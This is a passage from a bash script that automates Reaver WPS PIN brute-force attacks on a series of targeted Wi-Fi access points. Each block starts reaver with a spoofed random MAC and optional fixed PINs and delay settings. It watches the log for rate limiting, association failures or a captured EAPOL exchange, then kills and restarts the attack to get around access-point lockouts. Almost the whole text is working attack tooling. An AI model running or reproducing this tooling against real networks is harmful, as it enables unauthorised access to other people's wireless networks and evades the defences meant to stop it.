	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP42 (ESSID: $NMEWARN42)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME42-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R42 == y || $USE_R42 == Y ]] && [[ $USE_LONG42 == n || $USE_LONG42 == N ]] && [[ $USE_PIN42 == y || $USE_PIN42 == Y ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME42"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL42"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP42"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX42" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY42"
echo -e "$info Reaver live time                   = $yel$LIVE42 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME42-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL42 -b $TARGETAP42 -vv -x 60 -r $RX42:$RY42 --pin=$WPS_PIN42 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME42-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE42-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME42-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME42-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME42-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME42-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME42-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME42-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME42-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME42-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME42-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME42-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME42-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME42-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP42 (ESSID: $NMEWARN42)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME42-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME42-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME42-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME42-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP42 (ESSID: $NMEWARN42)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME42-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired

PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R42 == n || $USE_R42 == N ]] && [[ $USE_LONG42 == y || $USE_LONG42 == Y ]] && [[ $USE_PIN42 == y || $USE_PIN42 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME42"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL42"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP42"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE42 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME42-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL42 -b $TARGETAP42 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN42 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME42-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE42-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME42-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME42-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME42-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME42-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME42-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME42-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME42-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME42-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME42-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME42-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME42-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME42-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP42 (ESSID: $NMEWARN42)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME42-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME42-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME42-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME42-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP42 (ESSID: $NMEWARN42)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME42-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R42 == y || $USE_R42 == Y ]] && [[ $USE_LONG42 == y || $USE_LONG42 == Y ]] && [[ $USE_PIN42 == y || $USE_PIN42 == Y ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME42"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL42"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP42"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX42" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY42"
echo -e "$info Reaver live time                   = $yel$LIVE42 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME42-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL42 -b $TARGETAP42 -r $RX42:$RY42 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN42 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME42-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE42-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME42-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME42-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME42-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME42-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME42-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME42-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME42-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME42-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME42-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME42-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME42-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME42-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP42 (ESSID: $NMEWARN42)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME42-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME42-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME42-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME42-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP42 (ESSID: $NMEWARN42)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME42-$DATEFILE-$PAD

                   fi


#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null



clear
	fi

################# Determine to keep file or not ###########

 if [ $KEEP_FILE42 == n ] || [ $KEEP_FILE42 == N ]; then

          rm VARMAC_LOGS/$NAME42-$DATEFILE-$PAD

			fi

################End keep file or ease #####################


###############################END USR Block################################################
###############################Start USR Block################################################

if [[ $USE_R43 == n || $USE_R43 == N ]] && [[ $USE_LONG43 == n || $USE_LONG43 == N ]] && [[ $USE_PIN43 == n || $USE_PIN43 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME43"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL43"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP43"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE43 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME43-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL43 -b $TARGETAP43 -vv -x 60 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME43-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE43-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME43-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi


if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME43-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME43-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME43-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY1" ]] || [[ $line == "YYY21" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY22" ]] || [[ $line == "YYY23" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME43-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME43-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME43-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME43-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME43-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME43-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME43-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME43-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY43" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP43 (ESSID: $NMEWARN43)" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY41" ]] || [[ $line == "YYY42" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME43-$DATEFILE-$PAD


                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME43-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME43-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME43-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP43 (ESSID: $NMEWARN43)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME43-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R43 == y || $USE_R43 == Y ]] && [[ $USE_LONG43 == n || $USE_LONG43 == N ]] && [[ $USE_PIN43 == n || $USE_PIN43 == N ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME43"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL43"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP43"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX43" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY43"
echo -e "$info Reaver live time                   = $yel$LIVE43 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME43-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL43 -b $TARGETAP43 -vv -x 60 -r $RX43:$RY43 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME43-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE43-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME43-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME43-$DATEFILE-$PAD

                   fi


REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME43-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME43-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME43-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME43-$DATEFILE-$PAD | awk '{print $5}'`


